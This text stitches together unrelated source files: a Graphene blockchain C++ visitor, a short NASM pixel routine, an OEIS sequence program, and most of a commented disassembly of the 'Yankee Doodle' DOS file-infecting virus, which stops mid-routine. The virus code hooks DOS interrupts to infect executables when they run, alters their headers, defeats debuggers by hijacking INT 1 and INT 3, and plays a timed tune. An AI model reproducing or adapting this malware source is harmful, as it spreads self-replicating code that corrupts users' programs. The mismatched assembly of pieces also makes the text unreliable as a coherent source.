CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include <graphene/chain/protocol/authority.hpp> #include <graphene/app/impacted.hpp> namespace graphene { namespace app { using namespace fc; using namespace graphene::chain; // TODO: Review all of these, especially no-ops struct get_impacted_account_visitor { flat_set<account_id_type>& _impacted; get_impacted_account_visitor( flat_set<account_id_type>& impact ):_impacted(impact) {} typedef void result_type; void operator()( const transfer_operation& op ) { _impacted.insert( op.to ); } void operator()( const asset_claim_fees_operation& op ){} void operator()( const limit_order_create_operation& op ) {} void operator()( const limit_order_cancel_operation& op ) { _impacted.insert( op.fee_paying_account ); } void operator()( const call_order_update_operation& op ) {} void operator()( const fill_order_operation& op ) { _impacted.insert( op.account_id ); } void operator()( const account_create_operation& op ) { _impacted.insert( op.registrar ); _impacted.insert( op.referrer ); add_authority_accounts( _impacted, op.owner ); add_authority_accounts( _impacted, op.active ); } void operator()( const account_update_operation& op ) { _impacted.insert( op.account ); if( op.owner ) add_authority_accounts( _impacted, *(op.owner) ); if( op.active ) add_authority_accounts( _impacted, *(op.active) ); } void operator()( const account_whitelist_operation& op ) { _impacted.insert( op.account_to_list ); } void operator()( const account_upgrade_operation& op ) {} void operator()( const account_transfer_operation& op ) { _impacted.insert( op.new_owner ); } void operator()( const asset_create_operation& op ) {} void operator()( const asset_update_operation& op ) { if( op.new_issuer ) _impacted.insert( *(op.new_issuer) ); } void operator()( const asset_update_bitasset_operation& op ) {} void operator()( const asset_update_dividend_operation& op ) {} void operator()( const asset_dividend_distribution_operation& op ) { _impacted.insert( op.account_id ); } void operator()( const asset_update_feed_producers_operation& op ) {} void operator()( const asset_issue_operation& op ) { _impacted.insert( op.issue_to_account ); } void operator()( const asset_reserve_operation& op ) {} void operator()( const asset_fund_fee_pool_operation& op ) {} void operator()( const asset_settle_operation& op ) {} void operator()( const asset_global_settle_operation& op ) {} void operator()( const asset_publish_feed_operation& op ) {} void operator()( const witness_create_operation& op ) { _impacted.insert( op.witness_account ); } void operator()( const witness_update_operation& op ) { _impacted.insert( op.witness_account ); } void operator()( const proposal_create_operation& op ) { vector<authority> other; for( const auto& proposed_op : op.proposed_ops ) operation_get_required_authorities( proposed_op.op, _impacted, _impacted, other ); for( auto& o : other ) add_authority_accounts( _impacted, o ); } void operator()( const proposal_update_operation& op ) {} void operator()( const proposal_delete_operation& op ) {} void operator()( const withdraw_permission_create_operation& op ) { _impacted.insert( op.authorized_account ); } void operator()( const withdraw_permission_update_operation& op ) { _impacted.insert( op.authorized_account ); } void operator()( const withdraw_permission_claim_operation& op ) { _impacted.insert( op.withdraw_from_account ); } void operator()( const withdraw_permission_delete_operation& op ) { _impacted.insert( op.authorized_account ); } void operator()( const committee_member_create_operation& op ) { _impacted.insert( op.committee_member_account ); } void operator()( const committee_member_update_operation& op ) { _impacted.insert( op.committee_member_account ); } void operator()( const committee_member_update_global_parameters_operation& op ) {} void operator()( const vesting_balance_create_operation& op ) { _impacted.insert( op.owner ); } void operator()( const vesting_balance_withdraw_operation& op ) {} void operator()( const worker_create_operation& op ) {} void operator()( const custom_operation& op ) {} void operator()( const assert_operation& op ) {} void operator()( const balance_claim_operation& op ) {} void operator()( const override_transfer_operation& op ) { _impacted.insert( op.to ); _impacted.insert( op.from ); _impacted.insert( op.issuer ); } void operator()( const transfer_to_blind_operation& op ) { _impacted.insert( op.from ); for( const auto& out : op.outputs ) add_authority_accounts( _impacted, out.owner ); } void operator()( const blind_transfer_operation& op ) { for( const auto& in : op.inputs ) add_authority_accounts( _impacted, in.owner ); for( const auto& out : op.outputs ) add_authority_accounts( _impacted, out.owner ); } void operator()( const transfer_from_blind_operation& op ) { _impacted.insert( op.to ); for( const auto& in : op.inputs ) add_authority_accounts( _impacted, in.owner ); } void operator()( const asset_settle_cancel_operation& op ) { _impacted.insert( op.account ); } void operator()( const fba_distribute_operation& op ) { _impacted.insert( op.account_id ); } void operator()( const sport_create_operation& op ) {} void operator()( const sport_update_operation& op ) {} void operator()( const sport_delete_operation& op ) {} void operator()( const event_group_create_operation& op ) {} void operator()( const event_group_update_operation& op ) {} void operator()( const event_group_delete_operation& op ) {} void operator()( const event_create_operation& op ) {} void operator()( const event_update_operation& op ) {} void operator()( const event_update_status_operation& op ) {} void operator()( const betting_market_rules_create_operation& op ) {} void operator()( const betting_market_rules_update_operation& op ) {} void operator()( const betting_market_group_create_operation& op ) {} void operator()( const betting_market_group_update_operation& op ) {} void operator()( const betting_market_create_operation& op ) {} void operator()( const betting_market_update_operation& op ) {} void operator()( const betting_market_group_resolve_operation& op ) {} void operator()( const betting_market_group_cancel_unmatched_bets_operation& op ) {} void operator()( const bet_place_operation& op ) { _impacted.insert( op.bettor_id ); } void operator()( const bet_cancel_operation& op ) { _impacted.insert( op.bettor_id ); } void operator()( const bet_canceled_operation& op ) { _impacted.insert( op.bettor_id ); } void operator()( const bet_adjusted_operation& op ) { _impacted.insert( op.bettor_id ); } void operator()( const bet_matched_operation& op ) { _impacted.insert( op.bettor_id ); } void operator()( const betting_market_group_resolved_operation& op ) { _impacted.insert( op.bettor_id ); } void operator()( const tournament_create_operation& op ) { _impacted.insert( op.creator ); _impacted.insert( op.options.whitelist.begin(), op.options.whitelist.end() ); } void operator()( const tournament_join_operation& op ) { _impacted.insert( op.payer_account_id ); _impacted.insert( op.player_account_id ); } void operator()( const tournament_leave_operation& op ) { //if account canceling registration is not the player, it must be the payer if (op.canceling_account_id != op.player_account_id) _impacted.erase( op.canceling_account_id ); _impacted.erase( op.player_account_id ); } void operator()( const game_move_operation& op ) { _impacted.insert( op.player_account_id ); } void operator()( const tournament_payout_operation& op ) { _impacted.insert( op.payout_account_id ); } void operator()( const affiliate_payout_operation& op ) { _impacted.insert( op.affiliate ); } void operator()( const affiliate_referral_payout_operation& op ) { } void operator()( const lottery_asset_create_operation& op) { } void operator()( const ticket_purchase_operation& op ) { _impacted.insert( op.buyer ); } void operator()( const lottery_reward_operation& op ) { _impacted.insert( op.winner ); } void operator()( const lottery_end_operation& op ) { for( auto participant : op.participants ) { _impacted.insert(participant.first); } } void operator()( const sweeps_vesting_claim_operation& op ) { _impacted.insert( op.account ); } }; void operation_get_impacted_accounts( const operation& op, flat_set<account_id_type>& result ) { get_impacted_account_visitor vtor = get_impacted_account_visitor( result ); op.visit( vtor ); } void transaction_get_impacted_accounts( const transaction& tx, flat_set<account_id_type>& result ) { for( const auto& op : tx.operations ) operation_get_impacted_accounts( op, result ); } } }
;; --------------------------------------- ;; asm_tick ;; ;; rdi: Uint8 buttons ;; rsi: ptr Uint8 pixels[w*h*4] ;; rdx: Uint32 elapsed_ms ;; return int 0 or 1 for quit ;; --------------------------------------- ; parameters order: ; r9 ; 6th param ; r8 ; 5th param ; r10 ; 4th param ; rdx ; 3rd param ; rsi ; 2nd param ; rdi ; 1st param SECTION .text global asm_tick ; main entrypoint section .text asm_tick: test rdi, rdi ; test buttons for non-zero jnz quit ;; swap RSI/RDI so that rdi is pixel dst xor rsi, rdi xor rdi, rsi xor rsi, rdi ;; offset by one pixel row add rdi, 160*4 ;; set rsi to a hardcoded value mov rsi, red call set_pixel add rdi, 1 mov rsi, green call set_pixel add rdi, 1 mov rsi, blue call set_pixel mov rax, 0 ; don't quit ret ; end tick quit: mov rax, 1 ; quit ret ; end tick ;; assumes rdi is pixel dst offset ;; rsi contains 32 bits of pixel data set_pixel: mov ecx, 3 rep movsb ret SECTION .data red: db 0xff, 0x00, 0x00 green: db 0x00, 0xff, 0x00 blue: db 0x00, 0x00, 0xff width: db 160 height: db 90
; A120588: G.f. is 1 + x*c(x), where c(x) is the g.f. of the Catalan numbers (A000108). ; 1,1,1,2,5,14,42,132,429,1430,4862,16796,58786,208012,742900,2674440,9694845,35357670,129644790,477638700,1767263190,6564120420,24466267020,91482563640,343059613650,1289904147324,4861946401452,18367353072152,69533550916004,263747951750360,1002242216651368,3814986502092304,14544636039226909,55534064877048198,212336130412243110,812944042149730764,3116285494907301262,11959798385860453492,45950804324621742364,176733862787006701400,680425371729975800390,2622127042276492108820,10113918591637898134020,39044429911904443959240,150853479205085351660700,583300119592996693088040,2257117854077248073253720,8740328711533173390046320,33868773757191046886429490,131327898242169365477991900,509552245179617138054608572,1978261657756160653623774456,7684785670514316385230816156,29869166945772625950142417512,116157871455782434250553845880,451959718027953471447609509424,1759414616608818870992479875972,6852456927844873497549658464312,26700952856774851904245220912664,104088460289122304033498318812080,405944995127576985730643443367112,1583850964596120042686772779038896,6182127958584855650487080847216336,24139737743045626825711458546273312,94295850558771979787935384946380125,368479169875816659479009042713546950 mov $1,$0 sub $1,1 add $0,$1 gcd $2,$0 bin $0,$1 div $0,$2
;THE YANKEE DOODLE VIRUS ;POOR DISASSEMBLY OF IT MANY REFRENCE MADE AS ABSOLUTE WHEN THEY SHOULD ;BE REFRENCE TO LOCATIONS IN PROGRAM ;WILL WORK IF NO CHANGES MADE TO CODE ;EXCUSE SOME OF THE COMMENTS WHICH MAKE NO SENSE .RADIX 16 INT01_OFFS EQU 0004 INT03_OFFS EQU 000C MEM_SIZE EQU 0413 TIMER_HI EQU 006E TIMER_LO EQU 006C ;****************************************************************************** ;The host program starts here. This one is a dummy that just returns control ;to DOS. host_code SEGMENT byte ASSUME CS:host_code, ds:host_code ORG 0 db 1eh dup (0) HOST: DB 0B8H, 00H, 4CH, 0CDH DB '!OS SYS' DB 7,0,0,0,0 host_code ENDS vgroup GROUP virus_code virus_code SEGMENT byte ASSUME cs:virus_code, ds:virus_code ;data AREA TOP_VIR: db 0f4h db 7ah DB 2Ch ;used as a marker D003 DB 00 FSIZE1 DW 0000 ;filsize being infected FSIZE2 DW 0223 ;in bytes hex of course D1 Dw 0abeh ;used as a marker TOP_HOST DW 5A4DH ;USED AS A FILE BUFFER ;WHEN FILE IS EXE BELOW IS TRUE ;SIGANATURE P_SIZE DW 0023 ;LAST PAGE SIZE P_COUNT DW 0002 ;PAGE COUNT RELOC DW 0000 ;RELOC TABEL ENTRIES H_PARA DW 0020 ;#HEADER PARAGRAPHS MINALLOC DW 0001 ;MIN ALLOC OF MEM MAXALLOC DW 0FFFF ;MAX ALLOC OF MEM I_SS DW 0000 ;INTIAL SS I_SP DW 0000 ;INTIAL SP CHECKSUM DW 0000 ;CHECKSUM I_IP DW 0000 ;I_IP PRE INFECTION I_CS DW 0000 ;I_CS REL_OFFSET DW 003E ;RELOCATION OFFSET O_NUM DW 0000 ;OVERLAY NUM ;EXTRA NOT USED DURING EXE ;HEADER READING REM1 DB 01,00,0FBH,30 ;D0026 ;end of top_host buffer ;*********************************************************************** OLD_INT21_OFS DW 109E OLD_INT21_SEG DW 0116 OLD_INT21_OFS2 DW 109E OLD_INT21_SEG2 DW 0116 OLD_INT24_OFS DW 0155 OLD_INT24_SEG DW 048Ah OLD_INT1C_OFS DW 0FF53 OLD_INT1C_SEG DW 0F000 F_HANDLE DW 5 ;3A F_TIME DW 5002 ; F_DATE DW 1ACC ;3E ;USED IN VIT INT 1C PART X1 DW 00DE ;0040 X2 DW 006A ;0042 BUFFER1 DB 2E,83,3E,5E,0C BUFFER1A DB 0F4,06,70,00 BUFFER2 DB 2E,83,3E,5E,0C BUFFER2A DB 0F4,06,70,00 SNARE DB 00 ;0056 X4 DB 00 F_ATTR DB 20 PLAY_TUNE DB 01 ;0059 REM2 DB 00 ;005A COMFILE DB 00 INFEC_FL DB 00 CTRL_FLAG DB 00 ;5D COUNTER DB 7BH ;5E X7 DB 01 ;5F X8 DW 00 ;60 PAGE_16 DW 0010 ; HOST_IP DW 0100 ;FOR COM FILE INFECTIONS EXE_PG_SIZE DW 0200 ; C_OFFSET_21 DW OFFSET CALL_INT21 ;2CFH X101 DB 0C7,11 X10 DB 0C7,11 ; X11 DB 0E6,0F ;006E X12 DB 28,0E ;70 DB 0C7,11 ;72 DB 28,0E ;74 DB 0E6,0F ;76 DB 0C4,17 ;78 DB 0C7,11,0C7,11 ;7a DB 0E6,0F ;7e DB 28,0E,0C7,11 ;80 DB 0C7,11,0C7,11 ;84 DB 0C7,11,0E6,0F ;88 DB 28, 0E, 59, 0Dh ;8c DB 28,0E,0E6,0f ;90 DB 0C7, 11, 0ef, 12 DB 0C4,17 DB 2C,15 DB 0EF DB 12,0C7 DB 11,0C7 DB 11,2C DB 15,0EF,12 DB 2C,15 DB 0C5,1A DB 2C,15 DB 0EF DB 012,0C7 DB 011,2C DB 015,0C4,17 DB 02C,15 DB 0C4,17 DB 0C5,1A DB 67 ;BA DB 1C,0C5 DB 1A,0C4 DB 17 DB 2C,15 DB 0EF DB 12,2C DB 15,0C5,1A DB 2C,15 DB 0EF DB 12,0C7 DB 11,2C DB 15,0C4,17 DB 0C7,11,0EF,12 DB 0E6,00FH DB 0C7,11,0C7,11 DB 0FF,0FF DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 09,09 DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 09,09 DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 05,05,06 DB 05,05,05 DB 05,05,05 DB 05,06,05 DB 05,05,05 DB 09,09 ;115 NEW_PONG: DB 0FEh, 06h, 7Ah, 7Dh ;INC BYTE PTR [7D7A] 0117 DB 0FEH, 06, 0FBH, 7Dh ;INC BYTE PTR [7DFB] DB 74,05 ;JZ 0126 DB 0EA,00,7C,00,00 ;JMP 0000:7C00 DB 0FC ;CLD DB 33,0C0 ;XOR AX,AX DB 8E,0C0 ;MOV ES,AX DB 0BE, 2Ah, 7Dh ;MOV SI,7D2A DB 0BF, 4Ch, 00 ;MOV DI,004C DB 0A5 ;MOVSW DB 0A5 ;MOVSW DB 26 ;ES: DB 83, 06, 13, 04, 02 ;ADD WORD PTR [0413],+02 DB 0EAh, 00, 7Ch, 00, 00 ;JMP 0000:7C00 0139 ;DATA ENDS ;****************************************************************** P_MIN_MAX_ALLOC PROC NEAR ;ENTRY SI = 14H = OFFSET MINALLOC ; 16H = OFFSET MAXALLOC ;THIS PROCEDURE ALTERS THE GIVEN VALUES ;TO BE USEFULE TO THE VIRUS WHEN GOING TSR ;by editing the min and max memory requirments ;so that it doesn't need to release mem to go memory resident MOV AX,[SI] SUB AX,0BBH JB TOSMALL CMP AX,08 NOP JB TOSMALL EXIT_MIN_MAX: MOV [SI],AX RETN TOSMALL: MOV AX,09 JMP short EXIT_MIN_MAX P_MIN_MAX_ALLOC ENDP ;************************************************************************* HOOK_1_3 PROC NEAR ;CALLED BY SET_TO_HOOK1_3 ; ON ENTRY HAS DI = 44 BX= 4 ; DI = 4D BX= C ; DS = CS OF HERE BY VIR INT 1C PUSH SI PUSH DS PUSH CX PUSH DS POP ES ;ES POINTS HERE MOV DS,WORD PTR [X7 + 1] ;APPARENTLY = 0000 ; LDS SI,DWORD PTR [BX] ;loads DS:SI = DS:[bx] ; MOV WORD PTR ES:[DI+ 5],SI ; MOV WORD PTR ES:[DI+ 7],DS ; CMP BYTE PTR [SI],0CFH ; JE EXIT_HOOK_1_3 ;J17D ;if we get this far hook by manliputaing the vector table ;si = vector for int1 or int3 ;int used by debug programs CLD MOV CX,0005 REPZ MOVSB MOV BYTE PTR [SI-05],9A ;flag MOV WORD PTR [SI-04],OFFSET anti_DEBUG ;a ip 01c3 MOV WORD PTR [SI-02],CS ;a cs EXIT_HOOK_1_3: POP CX POP DS POP SI RETN HOOK_1_3 ENDP ;*************************************************** SET_TO_HOOK1_3 PROC NEAR ;CALLED BY VIR INT 1CH PUSH BX PUSH DI MOV BX,INT01_OFFS ;0004 VECTOR TO INT3 MOV DI,OFFSET BUFFER1 ;0044 CALL HOOK_1_3 ;SET UP HOOK INT 1 MOV BX,INT03_OFFS ;000C VECTOR TO INT3 MOV DI,OFFSET BUFFER2 ;004D CALL HOOK_1_3 ;SET UP TO HOOK INT 3 POP DI POP BX RET SET_TO_HOOK1_3 ENDP ;************************************************************************* RESTORE_1_3 PROC NEAR ;ENTRY SI = BUFFER1 ;2E,83,3E,5E,0C F4,06,70,00 ; BUFFER2 ;NOT SURE WHY BUT IT SEEMS THAT THIS CODE WILL CHECK FOR MEM LOCATION ; 0070:60F4 = 9A,01,C3 IF THERE IT WILL ;RESTORE OF BUFFER1/2 OVER THIS LOCATION WHICH WAS THE ORGINAL ; VECTOR ADDRESS INT PUSH CX PUSH DI LES DI,DWORD PTR [SI+05] ;load this 4 bytes as a mem ;location into es:di ;0070:06f4 CMP BYTE PTR ES:[DI],9A JNE EXIT_RESTORE_1_3 CMP WORD PTR ES:[DI+01],OFFSET anti_DEBUG JNE EXIT_RESTORE_1_3 MOV CX,5 ; MOV 5 BYTES CLD ; FROM DS:[SI] REPZ MOVSB ; HERE:[BUFFERX] ; TO ES:[DI] ; 0070:06F4 EXIT_RESTORE_1_3: POP DI POP CX RETN RESTORE_1_3 ENDP ;************************************************************* SET_TO_REST_1_3 PROC ;THIS PROCEDURE SEEMS TO RESTORE THE THE INT 1 AND 3 TO THERE PROPER ;LOCATIONS IF WE HAVE ALTERED THEM IT CHECK AND CORRECTS THEM ;IN RESTORE_1_3 ;CALLED BY VIR INT 1C PUSH SI MOV SI,OFFSET BUFFER2 CALL RESTORE_1_3 MOV SI,OFFSET BUFFER1 CALL RESTORE_1_3 POP SI RETN SET_TO_REST_1_3 ENDP ;********************************************************************** ;J01C3 ;called int 1\ used by debuggers not program is disenfected if ; int 3/ resident and td or debug is used ; BY PUTTING IN TO THE INT VECTOR FOR INT 1 OR AND INT 3 ;THE ADDRESS OF THIS SPOT ;BY HOOK_1_3 ; anti_DEBUG PROC ; P_01C3 ; A PUSH BP ; 8 MOV BP,SP ; FLAGS 6 PUSHF ; CS 4 ; IP 2 PUSH ES ; BP <-BP PUSH DS PUSH BX PUSH AX PUSH CS pop DS CALL SET_TO_REST_1_3 ;RESTORE PROPER VECTORS ;IF ALTERED WHICH TO GET HERE IT ;ONE OF THEM WOULD HAVE HAD TO BEEN MOV AX,CS ;this test if the calling CMP WORD PTR [BP+08],AX ;return to from this is JE viral_cs ;J020C is our cs MOV DS,WORD PTR [BP+08] CMP WORD PTR [BX+OFFSET TOP_VIR+2],2C ; THIS INFO IS LOCATED AT TOP JNE EXIT_TO_VIR ; OF VIRUS AND MAYBE AT END AS ; END AS WELL CMP WORD PTR [BX+OFFSET TOP_VIR],7AF4 ; JNE EXIT_TO_VIR ; ;CMP WORD PTR [BX + 0008h],0ABE db 81, 0bf, 08, 00, 0be, 0a JNE EXIT_TO_VIR MOV AX,DS ; BX /16 BY {4 SHR} SHR BX,1 ; WHAT WAS IN BX OFFSET OF VIRUS SHR BX,1 ; BX APPEARS TO POINT TO SHR BX,1 ; TOP VIRUS SHR BX,1 ; CS + IP/16 = EA ADD AX,BX ; MOV DS,AX ;DS = SOM EFFECTIVE ADDRESS JMP SHORT viral_cs ; EXIT_TO_VIR: ;J0201 SUB WORD PTR [BP+02],05 POP AX POP BX POP DS POP ES POPF POP BP RETF viral_cs: CALL P_030E MOV AX,WORD PTR [BP+0A] INC BYTE PTR [REM2] ;005A IF = 0A FLAGS TEST AX,0100 ; 08 CS JNZ J0222 ; 06 IP DEC WORD PTR [BP+06] ; 4 DEC byte PTR [REM2] ;005A 2 ; BP J0222: AND AX,0FEFFH ; TURNS OFF IF FLAG MOV [BP+0A],AX ; IF ON PUSH CS POP DS CALL SET_TO_HOOK1_3 ; THIS CALL SETS UP THE ; INTERUPTS 1 AND 3 ; TO GO HERE IF ; THINGS MATCH POP AX POP BX POP DS POP ES POPF POP BP ADD SP,+04 ;REMOVE LAST 2 PUSH IRET anti_DEBUG ENDP ;************************************************************************ VIR_INT_1C PROC PUSH BP MOV BP,SP PUSHF PUSH AX PUSH BX PUSH DS PUSH ES PUSH CS POP DS CALL SET_TO_REST_1_3 ;AGAIN RESTORES 1 AND 3 INT ; TO PROPER LOCATIONS ;IF NEED BE CALL SET_TO_HOOK1_3 ;ALTERS THE 1 AND 3 INT ; TO OUR INT HANDLER ;IF SOMETHING IS WRONG MOV AX,0040 MOV ES,AX TEST BYTE PTR [COUNTER],07 JNE WRONG_TIME ;J0274 ;NOTICE THAT THIS CMP INSTRUCTIONS ARE LOOKING AT 0040: CMP WORD PTR ES:[TIMER_HI],11 ; JNE WRONG_TIME ;J0274 CMP WORD PTR ES:[TIMER_LO],00 ; JNE WRONG_TIME ;J0274 MOV BYTE PTR [PLAY_TUNE],00 MOV WORD PTR [X1],00DE ;0040 MOV WORD PTR [X2],006A ;0042 WRONG_TIME: ;J0274 CMP BYTE PTR [PLAY_TUNE],1 ;01 MEANS NO JE EXIT_VIR_1C ;J02C4 CMP BYTE PTR [X4],00 ; JE J0288 DEC BYTE PTR [X4] JMP SHORT EXIT_VIR_1C J0288: MOV BX,[X2] CMP WORD PTR [BX],0FFFFH JNE J029E IN AL,61 AND AL,0FC OUT 61,AL MOV BYTE PTR [PLAY_TUNE],01 JMP short EXIT_VIR_1C J029E: MOV AL,0B6 OUT 43,AL MOV AX,[BX] OUT 42,AL MOV AL,AH OUT 42,AL IN AL,61 OR AL,03 OUT 61,AL ADD WORD PTR [X2],+02 MOV BX,WORD PTR [X1] MOV AL,[BX] DEC AL MOV BYTE PTR [X4],AL INC WORD PTR [X1] EXIT_VIR_1C: POP ES POP DS POP BX POP AX POPF POP BP JMP DWORD PTR CS:[OLD_INT1C_OFS] VIR_INT_1C ENDP ;************************************************************* CALL_INT21: JMP DWORD PTR CS:[OLD_INT21_OFS] REAL_INT21: JMP DWORD PTR [OLD_INT21_OFS] ;************************************************************* P_02D8 PROC NEAR ;CALLED BY HANDLE_4B PUSH BP MOV BP,SP CLD PUSH [BP+0AH] PUSH [BP+08] PUSH [BP+04] CALL P_09C8 ADD SP,+06 ;REMOVE LAST 3 PUSHES PUSH [BP+0CH] PUSH [BP+06] PUSH [BP+08] CALL P_0A58 ADD SP,+06 ;REMOVE LAST 3 PUSHES PUSH [BP+0CH] PUSH [BP+08] PUSH [BP+06] PUSH [BP+04] CALL P_0A7F ADD SP,+08 POP BP RETN P_02D8 ENDP ;********************************************************************** P_030E PROC ;CALLED BY HANDLE_4B ;CALLED BT VIR INT 1 INT3 IN HIGH MEM ;IN INT 3 1 CASE IT SEEMS ;THAT DX= EA 0F TOP OF VIRUS POSSIBLE ;TO RETURN 5 WORDS IN STACK TOP 3 = FL,CS,IP ;BOTTOM 2 ARE THROWN OUT PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH ES PUSHF CLI ;CLEAR IF MOV AX,8 ; PUSH AX ;1 MOV AX,00AE ; PUSH AX ;2 MOV AX,OFFSET VGROUP:BOT_VIR ;B40 MOV CL,04 ; SHR AX,CL ; MOV DX,DS ; ADD AX,DX ; PUSH AX ;3 END OF VIRUS EA MOV AX,OFFSET J0AC0 ; 0AC0b SHR AX,CL ; ADD AX,DX ; PUSH AX ;4 MOV AX,0060 ; SHR AX,CL ; ADD AX,DX ; PUSH AX ;5 CALL P_02D8 ADD SP,0AH ;REMOVE LAST 5 PUSHES POPF POP ES POP DI POP SI POP DX POP CX POP BX POP AX RETN P_030E ENDP ;***************************************************************** WRITE_FILE PROC NEAR MOV AH,40 jmp short r_w_int21 READ_FILE: MOV AH,3F R_W_INT21: CALL I21_F_HANDLE ;J035C JB J0357 CMP AX,CX J0357: RETN WRITE_FILE ENDP ;****************************************************************** START_FILE PROC NEAR XOR AL,AL MOV_F_PTR: MOV AH,42 ;MOVE FILE PTR I21_F_HANDLE: MOV BX,WORD PTR CS:[F_HANDLE] C2_INT21: PUSHF CLI ;CLEAR IF CALL DWORD PTR CS:[OLD_INT21_OFS2] RETN START_FILE ENDP ;********************************************************************* FORCE_WRITE PROC NEAR PUSH BX PUSH AX MOV BX,WORD PTR CS:[F_HANDLE] MOV AH,45 ;GET DUPLICATE FILE HANDLE CALL C2_INT21 JB WRITE_ER ;J0380 MOV BX,AX MOV AH,3E CALL C2_INT21 JMP short NO_PROBLEM WRITE_ER: CLC ; CLEAR CF NO_PROBLEM: POP AX POP BX RET FORCE_WRITE ENDP ;****************************************************************** VIR_INT24: MOV AL,03 IRET HANDLE_C603: ;THIS IS THE INSTALATION CHECK CALLED ON BY THE VIRUS ;CHECKS TO SEE IF IN INSTALLED IN MEMORY ;CALLED CF CLEAR, BX SET 002C, AX SET C603 ; RETURNS ; IF CF IS SET THEN THEN IT IS INSTALLED ; MOV AX,02DH TEST BYTE PTR CS:[X7],02 JNZ J393 DEC AX J393: CMP BX,AX XOR AL,AL ;ZEROS AL RCL AL,1 ;ROTATE LEFT THRU CARRY ;SHIFTS AL 1 BIT TO LEFT THRU CF ;MOVES THE CF BIT INTO AH PUSH AX MOV AX,002C TEST BYTE PTR CS:[X7],04 JNZ J3A6 INC AX J3A6: CMP BX,AX LES BX,DWORD PTR CS:OLD_INT21_OFS2 ;LOADS ES WITH SEGMENT ; ADDRESS AND BX OFFSET ; IE. ES:BX -> OLD_INT21_OFS POP AX ; INC SP ; INC SP ; SP=SP+2 REMOVE LAST 1 PUSH ; IE. LAST PUSHF STI ;SET INTERUPT FLAG RETF 2 ; RETURN TO HOST ;END HANDLE_C603 HANDLE_C600: ;REASON UNKNOW ; DOESN'T SEMM TO BE CALLED BY THIS VIRUS ; MOV AX,2C JMP short HANDLE_C5 HANDLE_C601: ;REASON ? ;DOESN'T SEEM TO BE CALLED BY VIRUS ; MOV AL,BYTE PTR CS:[X7] XOR AH,AH JMP short HANDLE_C5 HANDLE_C602: ;REASON ? ;DOESN'T SEEM TO BE CALLED BY VIRUS ; MOV BYTE PTR CS:[X7],CL JMP SHORT HANDLE_C5 VIR_INT_21 PROC PUSHF CMP AH,4BH ; LOAD EXEC CALL JZ HANDLE_4B ; LET VIRUS GO CMP AH,0C5 JZ HANDLE_C5 CMP AX,0C600 JZ HANDLE_C600 CMP AX,0C601 JZ HANDLE_C601 CMP AX,0C602 JE HANDLE_C602 CMP AX,0C603 JE HANDLE_C603 POPF JMP GOTO_INT21 ;NONE OF OUR INTERRUPTS LET ;DOS INT 21 HANDLE IT HANDLE_C5: POPF ; SETS THE MASKABLE INTERUPTS ON STI ; STC ; SETS THE CF FLAG RETF 2 ; HANDLE_4B: PUSH AX XOR AL,AL XCHG AL,BYTE PTR CS:[INFEC_FL] ;POSSIBLE VAL = 00, FF ;00 OR 00 = 0 ZF SET ;FF OR FF = FF ZF CLEAR ;IF FF CONTINUE TO ATTEMPT ;INFECTION PROCESS OR AL,AL POP AX JNZ CONT POPF JMP GOTO_INT21 ;INFEC_FL = 00 SO LET ;DOS HANDLE IT CONT: PUSH DS ;SAVE DS = FILE DS PUSH CS ;SET DS TO CS POP DS ;TSR INFECTION CALL P_030E ; MOV WORD PTR [OFFSET C2_INT21],9090 CALL P_030E ; POP DS ;RESTORE DS TO FILE DS PUSH ES ;BP E ; PUSH DS ;BP C ;SAVE REGS PUSH BP ;BP A ;THAT MAY BE PUSH DI PUSH SI ;BP 8 ; DESTROYED PUSH DX ;BP 6 ;LATER TO PUSH CX ;BP 4 ;BE RESTORED PUSH BX ;BP 2 ;FOR RETURN TI INT 21 PUSH AX ;BP ; ;BP POINTS AT AX MOV BP,SP PUSH CS ;DS = TSR INFECTION POP DS ; CMP BYTE PTR [REM2],00 ;INFECTED = 00 IF EQUAL JE J429 ;NOT INFECTED YET JMP LEAVE_ J429: INC BYTE PTR [COUNTER] PUSH [BP+0E] ; PUSH [BP+06] ; CALL OPEN_FILE LAHF ;LOAD AH WITH FLAGS ADD SP,+04 ;REMOVE LAST 2 PUSHS SAHF ;LOAD FLAGS WITH AH JNB CHK_FOR_INFEC ;IF NO ERROR JMP LEAVE_ ;PROBALY ERROR CHK_FOR_INFEC: ; J440 XOR CX,CX ; SET PTR TO START OF XOR DX,DX ; VICTIM CALL START_FILE ; MOV DX,OFFSET TOP_HOST ;READ 14 BYTES TO MOV CX,14 ; CALL READ_FILE ; JB ALREADY_INFECTED ;ERROR ; USE CHECKSUM TO FIND POSSIBEL WHERE FILE INFECTION OCCURS ; PLACE PTR THERE MOV AX,WORD PTR [CHECKSUM] ;CHECKSUM * 10 MUL WORD PTR [PAGE_16] ;=0010H DX:AX = ORG_SIZE MOV CX,DX ;MOV RESULTS INTO CX MOV DX,AX ;DX CALL START_FILE ;SET POINTER TO A POINT ;CX:DX FROM START ;WHICH IN A INFECTED FILE ;WOULD BE START OF VIRUS ;READ TO THIS LOCATION FORM FILE MOV DX,OFFSET TOP_VIR ;READ TO THIS LOCATION MOV CX,2A ;2A BYTES CALL READ_FILE ; JB NOT_INFECTED ;IF ERROR FILE NOT THAT LONG ; CAN'T BE INFECTED ; NOW COMPARE TO SEE IF FILE IS INFECTED CMP WORD PTR [TOP_VIR],7AF4 ; JNE NOT_INFECTED ;NOT INFECTED GO INFECT MOV AX,002C CMP BYTE PTR [BP+00],00 JNE J483 TEST BYTE PTR [X7],02 ;JUMP IF AN AND OPERATION JZ J484 ;RESULTS IN ZF SET J483: INC AX ; J484: CMP WORD PTR [TOP_VIR+2],AX ;JUMP IF TOP_VIR+2 => AX JNB ALREADY_INFECTED ; ;FILE IS ALREADY INFECTED RESTORE TO ORGINAL FORM XOR CX,CX ;SET FILE PTR TO XOR DX,DX ;ACTUAL START OF CALL START_FILE ;FILE MOV DX,OFFSET TOP_HOST ; MOV CX,20H ; CALL WRITE_FILE ; JB ALREADY_INFECTED ;ERROR CALL FORCE_WRITE ; THIS WOULD EFFECTIVELY ; DISINFECT FILE JNB J4A4 ALREADY_INFECTED: JMP CLOSE_EXITVIR ; FILE NOW DISINFECTED J4A4: MOV CX,WORD PTR [FSIZE1] ;GOTO END OF HOST MOV DX,WORD PTR [FSIZE2] ; CALL START_FILE ; XOR CX,CX 